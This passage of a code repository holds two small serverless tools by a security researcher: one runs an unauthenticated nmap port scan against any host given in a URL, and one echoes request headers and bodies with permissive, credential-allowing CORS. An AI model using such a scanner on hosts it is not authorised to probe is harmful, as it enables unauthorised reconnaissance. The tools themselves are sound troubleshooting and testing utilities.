14 | 15 | ## Deployment 16 | ``` 17 | $ now --public 18 | ``` 19 | 20 | If you want to change the arguments of the `nmap` scan (e.g. run a script or look for more ports), you'll need to change the following line in `index.js`: 21 | 22 | ``` 23 | const command = spawn('nmap', ['-Pn', '-F', '-sT', host]); 24 | ``` 25 | 26 | Note: longer nmap scans will probably time out the HTTP connection before they finish 27 | 28 | ## Usage 29 | The function expects a `host` parameter sent via a GET request: 30 | 31 | ``` 32 | $ curl "https://nmapscan-qijgjnaats.now.sh?host=blog.ropnop.com" 33 | 34 | Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-11 16:12 UTC 35 | Nmap scan report for blog.ropnop.com (104.18.43.134) 36 | Host is up (0.0020s latency). 37 | Other addresses for blog.ropnop.com (not scanned): 104.18.42.134 2606:4700:30::6812:2b86 2606:4700:30::6812:2a86 38 | Not shown: 96 filtered ports 39 | PORT STATE SERVICE 40 | 80/tcp open http 41 | 443/tcp open https 42 | 8080/tcp open http-proxy 43 | 8443/tcp open https-alt 44 | 45 | Nmap done: 1 IP address (1 host up) scanned in 2.05 seconds 46 | ``` -------------------------------------------------------------------------------- /nmap_scan/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const os = require('os'); 3 | const { promisify } = require('util'); 4 | const { spawn } = require('child_process'); 5 | const exec = promisify(require('child_process').exec); 6 | 7 | const app = express(); 8 | 9 | const runScan = async (host) => { 10 | let results = ''; 11 | const command = spawn('nmap', ['-Pn', '-F', '-sT', host]); 12 | for await (const data of command.stdout) { 13 | results = results + data; 14 | } 15 | return results.toString(); 16 | } 17 | 18 | 19 | app.get('/', async(req, res) => { 20 | const host = req.query.host; 21 | if (!host) { 22 | return res.send('Must include a host param to scan'); 23 | } 24 | let results; 25 | try { 26 | console.log(`scanning: ${host}`); 27 | results = await runScan(host); 28 | res.send(results); 29 | } catch (err) { 30 | console.log(`error: ${err}`); 31 | res.set(500); 32 | res.send(err); 33 | } 34 | }); 35 | 36 | 37 | app.listen(3000, () => console.log("listening on 3000")); 38 | -------------------------------------------------------------------------------- /nmap_scan/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1 3 | } 4 | -------------------------------------------------------------------------------- /nmap_scan/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nmap_scan", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "accepts": { 8 | "version": "1.3.5", 9 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz", 10 | "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", 11 | "requires": { 12 | "mime-types": "~2.1.18", 13 | "negotiator": "0.6.1" 14 | } 15 | }, 16 | "array-flatten": { 17 | "version": "1.1.1", 18 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 19 | "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" 20 | }, 21 | "body-parser": { 22 | "version": "1.18.3", 23 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.3.tgz", 24 | "integrity": "sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ=", 25 | "requires": { 26 | "bytes": "3.0.0", 27 | "content-type": "~1.0.4", 28 | "debug": "2.6.9", 29 | "depd": "~1.1.2", 30 | "http-errors": "~1.6.3", 31 | "iconv-lite": "0.4.23", 32 | "on-finished": "~2.3.0", 33 | "qs": "6.5.2", 34 | "raw-body": "2.3.3", 35 | "type-is": "~1.6.16" 36 | } 37 | }, 38 | "bytes": { 39 | "version": "3.0.0", 40 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", 41 | "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" 42 | }, 43 | "content-disposition": { 44 | "version": "0.5.2", 45 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", 46 | "integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ=" 47 | }, 48 | "content-type": { 49 | "version": "1.0.4", 50 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 51 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 52 | }, 53 | "cookie": { 54 | "version": "0.3.1", 55 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.3.1.tgz", 56 | "integrity": "sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s=" 57 | }, 58 | "cookie-signature": { 59 | "version": "1.0.6", 60 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 61 | "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" 62 | }, 63 | "debug": { 64 | "version": "2.6.9", 65 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 66 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 67 | "requires": { 68 | "ms": "2.0.0" 69 | } 70 | }, 71 | "depd": { 72 | "version": "1.1.2", 73 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", 74 | "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" 75 | }, 76 | "destroy": { 77 | "version": "1.0.4", 78 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", 79 | "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" 80 | }, 81 | "ee-first": { 82 | "version": "1.1.1", 83 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 84 | "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" 85 | }, 86 | "encodeurl": { 87 | "version": "1.0.2", 88 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 89 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" 90 | }, 91 | "escape-html": { 92 | "version": "1.0.3", 93 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 94 | "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" 95 | }, 96 | "etag": { 97 | "version": "1.8.1", 98 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 99 | "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" 100 | }, 101 | "express": { 102 | "version": "4.16.4", 103 | "resolved": "https://registry.npmjs.org/express/-/express-4.16.4.tgz", 104 | "integrity": "sha512-j12Uuyb4FMrd/qQAm6uCHAkPtO8FDTRJZBDd5D2KOL2eLaz1yUNdUB/NOIyq0iU4q4cFarsUCrnFDPBcnksuOg==", 105 | "requires": { 106 | "accepts": "~1.3.5", 107 | "array-flatten": "1.1.1", 108 | "body-parser": "1.18.3", 109 | "content-disposition": "0.5.2", 110 | "content-type": "~1.0.4", 111 | "cookie": "0.3.1", 112 | "cookie-signature": "1.0.6", 113 | "debug": "2.6.9", 114 | "depd": "~1.1.2", 115 | "encodeurl": "~1.0.2", 116 | "escape-html": "~1.0.3", 117 | "etag": "~1.8.1", 118 | "finalhandler": "1.1.1", 119 | "fresh": "0.5.2", 120 | "merge-descriptors": "1.0.1", 121 | "methods": "~1.1.2", 122 | "on-finished": "~2.3.0", 123 | "parseurl": "~1.3.2", 124 | "path-to-regexp": "0.1.7", 125 | "proxy-addr": "~2.0.4", 126 | "qs": "6.5.2", 127 | "range-parser": "~1.2.0", 128 | "safe-buffer": "5.1.2", 129 | "send": "0.16.2", 130 | "serve-static": "1.13.2", 131 | "setprototypeof": "1.1.0", 132 | "statuses": "~1.4.0", 133 | "type-is": "~1.6.16", 134 | "utils-merge": "1.0.1", 135 | "vary": "~1.1.2" 136 | } 137 | }, 138 | "finalhandler": { 139 | "version": "1.1.1", 140 | "resolved": "http://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", 141 | "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", 142 | "requires": { 143 | "debug": "2.6.9", 144 | "encodeurl": "~1.0.2", 145 | "escape-html": "~1.0.3", 146 | "on-finished": "~2.3.0", 147 | "parseurl": "~1.3.2", 148 | "statuses": "~1.4.0", 149 | "unpipe": "~1.0.0" 150 | } 151 | }, 152 | "forwarded": { 153 | "version": "0.1.2", 154 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", 155 | "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" 156 | }, 157 | "fresh": { 158 | "version": "0.5.2", 159 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 160 | "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" 161 | }, 162 | "http-errors": { 163 | "version": "1.6.3", 164 | "resolved": "http://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", 165 | "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", 166 | "requires": { 167 | "depd": "~1.1.2", 168 | "inherits": "2.0.3", 169 | "setprototypeof": "1.1.0", 170 | "statuses": ">= 1.4.0 < 2" 171 | } 172 | }, 173 | "iconv-lite": { 174 | "version": "0.4.23", 175 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", 176 | "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", 177 | "requires": { 178 | "safer-buffer": ">= 2.1.2 < 3" 179 | } 180 | }, 181 | "inherits": { 182 | "version": "2.0.3", 183 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 184 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" 185 | }, 186 | "ipaddr.js": { 187 | "version": "1.8.0", 188 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz", 189 | "integrity": "sha1-6qM9bd16zo9/b+DJygRA5wZzix4=" 190 | }, 191 | "media-typer": { 192 | "version": "0.3.0", 193 | "resolved": "http://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 194 | "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" 195 | }, 196 | "merge-descriptors": { 197 | "version": "1.0.1", 198 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", 199 | "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" 200 | }, 201 | "methods": { 202 | "version": "1.1.2", 203 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 204 | "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" 205 | }, 206 | "mime": { 207 | "version": "1.4.1", 208 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", 209 | "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==" 210 | }, 211 | "mime-db": { 212 | "version": "1.37.0", 213 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.37.0.tgz", 214 | "integrity": "sha512-R3C4db6bgQhlIhPU48fUtdVmKnflq+hRdad7IyKhtFj06VPNVdk2RhiYL3UjQIlso8L+YxAtFkobT0VK+S/ybg==" 215 | }, 216 | "mime-types": { 217 | "version": "2.1.21", 218 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.21.tgz", 219 | "integrity": "sha512-3iL6DbwpyLzjR3xHSFNFeb9Nz/M8WDkX33t1GFQnFOllWk8pOrh/LSrB5OXlnlW5P9LH73X6loW/eogc+F5lJg==", 220 | "requires": { 221 | "mime-db": "~1.37.0" 222 | } 223 | }, 224 | "ms": { 225 | "version": "2.0.0", 226 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 227 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" 228 | }, 229 | "negotiator": { 230 | "version": "0.6.1", 231 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz", 232 | "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=" 233 | }, 234 | "on-finished": { 235 | "version": "2.3.0", 236 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", 237 | "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", 238 | "requires": { 239 | "ee-first": "1.1.1" 240 | } 241 | }, 242 | "parseurl": { 243 | "version": "1.3.2", 244 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz", 245 | "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=" 246 | }, 247 | "path-to-regexp": { 248 | "version": "0.1.7", 249 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", 250 | "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" 251 | }, 252 | "proxy-addr": { 253 | "version": "2.0.4", 254 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.4.tgz", 255 | "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", 256 | "requires": { 257 | "forwarded": "~0.1.2", 258 | "ipaddr.js": "1.8.0" 259 | } 260 | }, 261 | "qs": { 262 | "version": "6.5.2", 263 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", 264 | "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" 265 | }, 266 | "range-parser": { 267 | "version": "1.2.0", 268 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", 269 | "integrity": "sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4=" 270 | }, 271 | "raw-body": { 272 | "version": "2.3.3", 273 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.3.tgz", 274 | "integrity": "sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw==", 275 | "requires": { 276 | "bytes": "3.0.0", 277 | "http-errors": "1.6.3", 278 | "iconv-lite": "0.4.23", 279 | "unpipe": "1.0.0" 280 | } 281 | }, 282 | "safe-buffer": { 283 | "version": "5.1.2", 284 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 285 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" 286 | }, 287 | "safer-buffer": { 288 | "version": "2.1.2", 289 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 290 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 291 | }, 292 | "send": { 293 | "version": "0.16.2", 294 | "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", 295 | "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", 296 | "requires": { 297 | "debug": "2.6.9", 298 | "depd": "~1.1.2", 299 | "destroy": "~1.0.4", 300 | "encodeurl": "~1.0.2", 301 | "escape-html": "~1.0.3", 302 | "etag": "~1.8.1", 303 | "fresh": "0.5.2", 304 | "http-errors": "~1.6.2", 305 | "mime": "1.4.1", 306 | "ms": "2.0.0", 307 | "on-finished": "~2.3.0", 308 | "range-parser": "~1.2.0", 309 | "statuses": "~1.4.0" 310 | } 311 | }, 312 | "serve-static": { 313 | "version": "1.13.2", 314 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", 315 | "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", 316 | "requires": { 317 | "encodeurl": "~1.0.2", 318 | "escape-html": "~1.0.3", 319 | "parseurl": "~1.3.2", 320 | "send": "0.16.2" 321 | } 322 | }, 323 | "setprototypeof": { 324 | "version": "1.1.0", 325 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", 326 | "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" 327 | }, 328 | "statuses": { 329 | "version": "1.4.0", 330 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 331 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 332 | }, 333 | "type-is": { 334 | "version": "1.6.16", 335 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz", 336 | "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==", 337 | "requires": { 338 | "media-typer": "0.3.0", 339 | "mime-types": "~2.1.18" 340 | } 341 | }, 342 | "unpipe": { 343 | "version": "1.0.0", 344 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 345 | "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" 346 | }, 347 | "utils-merge": { 348 | "version": "1.0.1", 349 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 350 | "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" 351 | }, 352 | "vary": { 353 | "version": "1.1.2", 354 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 355 | "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" 356 | } 357 | } 358 | } 359 | -------------------------------------------------------------------------------- /nmap_scan/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nmap_scan", 3 | "version": "1.0.0", 4 | "description": "Serverless function to run an nmap fast scan against a single host", 5 | "main": "index.js", 6 | "author": "Ronnie Flathers (@ropnop)", 7 | "license": "MIT", 8 | "dependencies": { 9 | "express": "^4.16.4" 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /req_dump/.gitignore: -------------------------------------------------------------------------------- 1 | .now 2 | .vercel 3 | -------------------------------------------------------------------------------- /req_dump/README.md: -------------------------------------------------------------------------------- 1 | # Request Dump 2 | This function simply echos information about the request it receives back in a JSON response. This is useful for troubleshooting or seeing custom headers or other info that might not be readily apparent. 3 | 4 | Note: now.sh does a lot of header manipulation to get the request to our serverless function, so even the most basic of requests will have several headers added. I blacklisted the following headers from appearing in the response since I *usually* don't care about them: 5 | 6 | ``` 7 | "x-forwarded-host", 8 | "x-real-ip", 9 | "x-forwarded-for", 10 | "x-forwarded-proto", 11 | "x-now-id", 12 | "x-now-log-id", 13 | "x-zeit-co-forwarded-for", 14 | "cf-ipcountry", 15 | "cf-ray", 16 | "cf-visitor", 17 | "cf-connecting-ip", 18 | "true-client-ip" 19 | ``` 20 | 21 | However, these can be toggled to be displayed by setting the environment variable `ALL_HEADERS` to true. 22 | 23 | ## Deployment 24 | ``` 25 | $ now 26 | ``` 27 | 28 | If you want to see *all* headers: 29 | 30 | ``` 31 | $ now -e ALL_HEADERS=true 32 | ``` 33 | 34 | ## Usage 35 | Simply make a request to the server and it will dump the request info in JSON format: 36 | 37 | ``` 38 | $ curl -s "https://req-dump-jjpxwbljvf.now.sh/randompath?foobar=helloworld" | jq . 39 | { 40 | "url": "/randompath?foobar=helloworld", 41 | "method": "GET", 42 | "headers": { 43 | "host": "req-dump-jjpxwbljvf.now.sh", 44 | "connection": "close", 45 | "accept-encoding": "gzip", 46 | "user-agent": "curl/7.54.0", 47 | "accept": "*/*" 48 | }, 49 | "body": "", 50 | "ip": "24.1.256.256" 51 | } 52 | ``` -------------------------------------------------------------------------------- /req_dump/index.js: -------------------------------------------------------------------------------- 1 | const _ = require('lodash'); 2 | const rawBody = require('raw-body'); 3 | const requestIp = require('request-ip'); 4 | 5 | // These are all added by CF and Zeit, I usually ignore them 6 | const IGNORED_HEADERS = [ 7 | "x-forwarded-host", 8 | "x-real-ip", 9 | "x-forwarded-for", 10 | "x-forwarded-proto", 11 | "x-now-id", 12 | "x-now-log-id", 13 | "x-zeit-co-forwarded-for", 14 | "cf-ipcountry", 15 | "cf-ray", 16 | "cf-visitor", 17 | "cf-connecting-ip", 18 | "true-client-ip", 19 | "x-vercel-deployment-url", 20 | "x-vercel-forwarded-for", 21 | "x-vercel-id", 22 | "x-forwarded-port" 23 | ] 24 | const ALL_HEADERS = process.env.ALL_HEADERS || true; // toggle this to hide them 25 | 26 | const CORS_ALLOWED_HEADERS = [ 27 | "accept", 28 | "accept-language", 29 | "content-language", 30 | "content-type", 31 | "dpr", 32 | "downlink", 33 | "save-data", 34 | "viewport-width", 35 | "width", 36 | "host", 37 | "origin", 38 | "user-agent", 39 | "connection", 40 | ...IGNORED_HEADERS 41 | ] 42 | 43 | 44 | module.exports = async (req, res) => { 45 | const clientIp = requestIp.getClientIp(req); 46 | let headers = {}; 47 | if (!ALL_HEADERS) { 48 | headers = _.reduce(req.headers, (headers, headerval, headername) => { 49 | if (_.includes(IGNORED_HEADERS, headername)) { 50 | return headers; 51 | } else { 52 | headers[headername] = headerval; 53 | return headers; 54 | } 55 | }, {} ); 56 | } else { headers = req.headers; } 57 | const data = { 58 | url: req.url, 59 | method: req.method, 60 | headers: headers, 61 | body: String(await rawBody(req)), 62 | ip: clientIp 63 | }; 64 | const origin = req.headers.origin || "*"; 65 | 66 | customHeaders = req.headers["access-control-request-headers"] || ""; 67 | customMethods = req.headers["access-control-request-method"] || ""; 68 | 69 | res.setHeader('Access-Control-Allow-Origin', origin); 70 | res.setHeader('Access-Control-Allow-Credentials', "true"); 71 | if (customHeaders) { 72 | res.setHeader('Access-Control-Allow-Headers', customHeaders); 73 | } 74 | if (customMethods) { 75 | res.setHeader('Access-Control-Allow-Methods', customMethods) 76 | } 77 | 78 | return res.status(200).send(data); 79 | } 80 | -------------------------------------------------------------------------------- /req_dump/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "builds": [{ "src": "index.js", "use": "@now/node" }], 3 | "routes": [ 4 | { "src": "(.*)", "dest": "index.js"} 5 | ], 6 | "alias": "req-dump.ropnop.dev" 7 | } -------------------------------------------------------------------------------- /req_dump/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "req-dump", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "ansi-styles": { 8 | "version": "3.2.1", 9 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", 10 | "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", 11 | "requires": { 12 | "color-convert": "^1.9.0" 13 | } 14 | }, 15 | "arg": { 16 | "version": "2.0.0", 17 | "resolved": "http://registry.npmjs.org/arg/-/arg-2.0.0.tgz", 18 | "integrity": "sha512-XxNTUzKnz1ctK3ZIcI2XUPlD96wbHP2nGqkPKpvk/HNRlPveYrXIVSTk9m3LcqOgDPg3B1nMvdV/K8wZd7PG4w==" 19 | }, 20 | "bytes": { 21 | "version": "3.0.0", 22 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", 23 | "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" 24 | }, 25 | "chalk": { 26 | "version": "2.4.0", 27 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", 28 | "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", 29 | "requires": { 30 | "ansi-styles": "^3.2.1", 31 | "escape-string-regexp": "^1.0.5", 32 | "supports-color": "^5.3.0" 33 | } 34 | }, 35 | "color-convert": { 36 | "version": "1.9.3", 37 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", 38 | "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", 39 | "requires": { 40 | "color-name": "1.1.3" 41 | } 42 | }, 43 | "color-name": { 44 | "version": "1.1.3", 45 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", 46 | "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" 47 | }, 48 | "content-type": { 49 | "version": "1.0.4", 50 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 51 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 52 | }, 53 | "depd": { 54 | "version": "1.1.1", 55 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", 56 | "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=" 57 | }, 58 | "escape-string-regexp": { 59 | "version": "1.0.5", 60 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", 61 | "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" 62 | }, 63 | "has-flag": { 64 | "version": "3.0.0", 65 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", 66 | "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" 67 | }, 68 | "http-errors": { 69 | "version": "1.6.2", 70 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", 71 | "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", 72 | "requires": { 73 | "depd": "1.1.1", 74 | "inherits": "2.0.3", 75 | "setprototypeof": "1.0.3", 76 | "statuses": ">= 1.3.1 < 2" 77 | } 78 | }, 79 | "iconv-lite": { 80 | "version": "0.4.19", 81 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", 82 | "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==" 83 | }, 84 | "inherits": { 85 | "version": "2.0.3", 86 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 87 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" 88 | }, 89 | "is-stream": { 90 | "version": "1.1.0", 91 | "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", 92 | "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" 93 | }, 94 | "is_js": { 95 | "version": "0.9.0", 96 | "resolved": "https://registry.npmjs.org/is_js/-/is_js-0.9.0.tgz", 97 | "integrity": "sha1-CrlFQFArp6+iTIVqqYVWFmnpxS0=" 98 | }, 99 | "lodash": { 100 | "version": "4.17.20", 101 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz", 102 | "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" 103 | }, 104 | "micro": { 105 | "version": "9.3.3", 106 | "resolved": "https://registry.npmjs.org/micro/-/micro-9.3.3.tgz", 107 | "integrity": "sha512-GbCp4NFQguARch0odX+BuWDja2Kc1pbYZqWfRvEDihGFTJG8U77C0L+Owg2j7TPyhQ5Tc+7z/SxspRqjdiZCjQ==", 108 | "requires": { 109 | "arg": "2.0.0", 110 | "chalk": "2.4.0", 111 | "content-type": "1.0.4", 112 | "is-stream": "1.1.0", 113 | "raw-body": "2.3.2" 114 | } 115 | }, 116 | "raw-body": { 117 | "version": "2.3.2", 118 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", 119 | "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", 120 | "requires": { 121 | "bytes": "3.0.0", 122 | "http-errors": "1.6.2", 123 | "iconv-lite": "0.4.19", 124 | "unpipe": "1.0.0" 125 | } 126 | }, 127 | "request-ip": { 128 | "version": "2.1.1", 129 | "resolved": "https://registry.npmjs.org/request-ip/-/request-ip-2.1.1.tgz", 130 | "integrity": "sha512-cxNIoWf9JDuZM6YKdfTWdRsOi/hI4eIG6rGeodFyo8cCnTePoTW4qYbcKkQUz6evJkVXw+y0++BDz+Dh78M1pQ==", 131 | "requires": { 132 | "is_js": "^0.9.0" 133 | } 134 | }, 135 | 